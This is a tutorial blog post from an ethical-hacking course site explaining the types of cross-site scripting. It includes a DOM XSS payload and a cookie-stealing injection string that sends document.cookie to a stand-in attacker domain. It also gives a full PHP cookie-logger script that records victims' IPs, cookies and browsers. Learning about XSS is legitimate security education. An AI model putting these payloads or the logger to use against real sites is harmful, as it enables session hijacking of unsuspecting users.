• Courses

    About Courses

    Edit widget and choose a menu
    Android Studio Photo Editor Project

    Android Studio Photo Editor Project

    ₹14,000.00 ₹3,500.00
    Read More
  • Features
    • Membership
    • Portfolio
    • About Us
    • FAQs
    • Sidebar Shop
    • 404 Page
  • Events
  • Gallery
  • Blog
  • Contact
    Have any question?
    (00) 123 456 789
    hello@eduma.com
    RegisterLogin
    Job Oriented Security Courses
    • Courses

      About Courses

      Edit widget and choose a menu
      Android Studio Photo Editor Project

      Android Studio Photo Editor Project

      ₹14,000.00 ₹3,500.00
      Read More
    • Features
      • Membership
      • Portfolio
      • About Us
      • FAQs
      • Sidebar Shop
      • 404 Page
    • Events
    • Gallery
    • Blog
    • Contact

      Blog

      • Home
      • Blog
      • Blog
      • What are Different Types of Cross-Site Scripting and Stored XSS Attacks

      What are Different Types of Cross-Site Scripting and Stored XSS Attacks

      • Posted by CiuLabs
      • Categories Blog, Ethical Hacking
      • Date January 11, 2022
      • Comments 0 comment

      TYPES

      Cross-Site Scripting can be classified into 3 types :

      1. Persistent XSS ( Stored XSS)
      2. Non-persistent XSS (Reflected XSS)
      3. DOM Based XSS

      Stored XSS Attacks:

      As the name suggests, in the Stored Cross-Site Scripting attacks, the malicious script is stored in one of the webpages of a website, and as soon as a user navigates to that particular webpage, the script would be executed in his browser.

      In Stored Cross-Site Scripting Attacks, the attacker in the web application’s database itself embeds the attack vector. This is mainly seen in places, where the website stores the user input in the database. The most common examples of this are Comment Boxes, guestbooks, and Forums, etc.

      Following is the graphical view of the connection during a stored XSS attack

      Cross Site Scripting 2
      What are Different Types of Cross-Site Scripting and Stored XSS Attacks 4

      Here is the screenshot of some stored XSS that I have found recently:

      Cross Site Scripting 3
      What are Different Types of Cross-Site Scripting and Stored XSS Attacks 5
      Cross Site Scripting 4
      What are Different Types of Cross-Site Scripting and Stored XSS Attacks 6

      Using XSS attacks, an attacker could easily get the authentication cookies of a logged-in user using the document. cookie property. Using these cookies, an attacker could log in as the victim, without even having to know his username and password.

      Let’s take an example of a Question Answers section infamous website, where users are allowed to ask questions and can even answer questions posted by other users. The section is only viewable to users who are logged into the website.

      Let’s say the attacker now sets up a cookie logger script. So, anyone who would now visit the webpage, in which the attacker has inserted his own malicious scripts, the cookies of the user will directly go away to the attacker, without even the user noticing it.

      DOM Based XSS

      DOM Based XSS, also known as Type 0  XSS is a type of Cross-Site Scripting vulnerability where the payload gets executed, as a result of modifications in the Document Object Model (or DOM) of a webpage.

      This XSS doesn’t get executed on the response page, instead, it executes in the same client-side webpage, as a result of unexpected DOM behavior.

      DOM-based XSS could be detected using tools such as DOMinator and DOMSnitch.

      Suppose the vulnerable link is: http://example.com/offer.php?product_id=5&title=My+Secure+Webpage

      In this example, the title bar of the webpage changes according to the value of the title in the URL. The fault here lies in the blind trusting of URLs in order to change the Webpage.

      An attacker could easily execute a DOM based XSS attack using the following payload :

      http://example.com/offer.php?product_id=5&title=anything#<script>alert(“XSS”);</script>

      </SCRIPT>

      Cookie Stealing using XSS

      Most often, XSS on websites are used to steal the cookies of the authenticated users, which are later sent to the attacker, who may use these cookies, to authenticate himself as the victim.

      A simple example of a cookie logger is shown below.

      XSS String to be injected:

      “><img src=”foo.png”

      onerror=”document.location=’http://attackerdomain.com/cookielogger.php?cookie=’

      +escape(document.cookie);”>

      CookieLogger.php

      <?php

      $ip = $_SERVER[‘REMOTE_ADDR’];

      $cookie = $_GET[‘cookie’];

      $referer = $_SERVER[‘HTTP_REFERER’];

      $browser = $_SERVER[‘HTTP_USER_AGENT’];

      $redirect = $_GET[‘redirect’];

      $data = “IP: ” . $ip . “\n”.”Cookie: ” . $cookie . “\n”.”Referrer: ” . $referer . “\n”.”Browser: ” .

      $browser . “\n\n”;

      $log = “cookies.txt”;

      $f = fopen($log, ‘a’);fwrite($f, $data);fclose($f);

      @chmod($log, 0777);@header(“Location: $redirect”);

      ?>

      The logged data will look like this:

      IP: [IP Address of the victim]Cookie: [the Cookie Value]Referrer: [the original website from which it was referred to] Browser: [browser the victim is using]

       

      Wireless And Web Pentesting

      Wireless and Web Pentesting

      Course Description Network Penetration Testing course for beginners taking you from wondering what hackers do to set up a lab, learning Kali Linux, and…

       
      Advance Ethical Hacking And Penetration Testing

      Advance Ethical Hacking and Penetration Testing

      Overview Ethical hacking is an extremely valuable job skill that the more applications, the more website, the more software that is created, the more…

       
      Ethical Hacking And Penetration Testing

      Ethical Hacking and Penetration Testing

      Overview Ethical hacking is an extremely valuable job skill that the more applications, the more website, the more software that is created, the more…

       
      Advanced Python Scripting For Ethical Hackers

      Advanced Python Scripting for Ethical Hackers

      Many of the most powerful, memorable and effective photographs are black and white images. With digital photography though you can no longer take a…

       
      Network Pentesting

      Network Pentesting

      Course Description @ Network Pentesting course for beginners taking you from wondering what hackers do to set up a lab, learning Kali Linux, and…

       
      Proactive Cybersecurity For Individuals And Small Businesses

      Proactive Cybersecurity for Individuals and Small Businesses

      How You Can Protect Your Identity While Surfing Online, Starting Today…In This Step by Step Video Course While 99% of the population won’t do…

       
      Python For Ethical Hackers

      Python for Ethical Hackers

      Many of the most powerful, memorable and effective photographs are black and white images. With digital photography though you can no longer take a…

       
      Wireshark Network Analysis

      Wireshark Network Analysis

      Sass is completely compatible with all versions of CSS. We take this compatibility seriously, so that you can seamlessly use any available CSS libraries.

       
      Vulnerability Assessment

      Vulnerability Assessment

      Less is a CSS pre-processor, meaning that it extends the CSS language, adding features that allow variables, mixins, functions and many other techniques that…

      • Share:
      CiuLabs
      CiuLabs

      Previous post

      What is Cross-Site Scripting
      January 11, 2022

      Next post

      What is Reflected XSS Cross-Site Scripting Attack
      January 11, 2022

      You may also like

      Introduction to Wireshark Network Analysis
      29 January, 2022

      Get Access to more Free Videos on Wireshark or go for obtaining  Certificate in Wireshark  Hello and welcome to this wireshark tutorial series before we start digging deep down into all that technical stuff i would first like to give …

      30 Free Certifications to take Online
      23 January, 2022

      Free Online Certifications @  — Get your Free Online Certifications Certificate Immediately upon Successful Assessment – Start your Journey Today — Technology Incubation Center CIU is committed to promoting technology and higher education to every individual under the sun by its unique initiative of Free …

      What are Two Different Types of Denial of Service attacks
      11 January, 2022

      TYPES OF ATTACK SYN FLOOD : They are concept-based Denial of Service attacks and rely on the 3 way handshake, filling up a table known as the TCB. TCB or the Transmission Control Block is a transport protocol data structure that …

      Leave A Reply Cancel reply

      You must be logged in to post a comment.

      Search

      Categories

      • 2004 – 2006
      • 2006 – 2007
      • 2008 – 2010
      • 2010 – 2015
      • 2016 – 2021
      • Blog
      • Business Automation
      • CIU Alumni
      • Driving Internet Traffic
      • Ethical Hacking
      • Software and Technology
      Certificate in Ethical Hacking & Pentesting

      Certificate in Ethical Hacking & Pentesting

      ₹3,500.00
      Certificate in Advance Ethical Hacking

      Certificate in Advance Ethical Hacking

      ₹3,500.00
      Certificate in Linux App Development

      Certificate in Linux App Development

      ₹3,500.00
      (00) 123 456 789
      hello@eduma.com
      Facebook Twitter Google-plus Pinterest

      Company

      Edit widget and choose a menu

      Links

      Edit widget and choose a menu

      Support

      Edit widget and choose a menu

      Recommend

      Edit widget and choose a menu

      Education WordPress Theme by ThimPress. Powered by WordPress.

      • Privacy
      • Terms
      • Sitemap
      • Purchase

      Login with your site account

      Lost your password?

      Not a member yet? Register now

      Register a new account

      Are you a member? Login now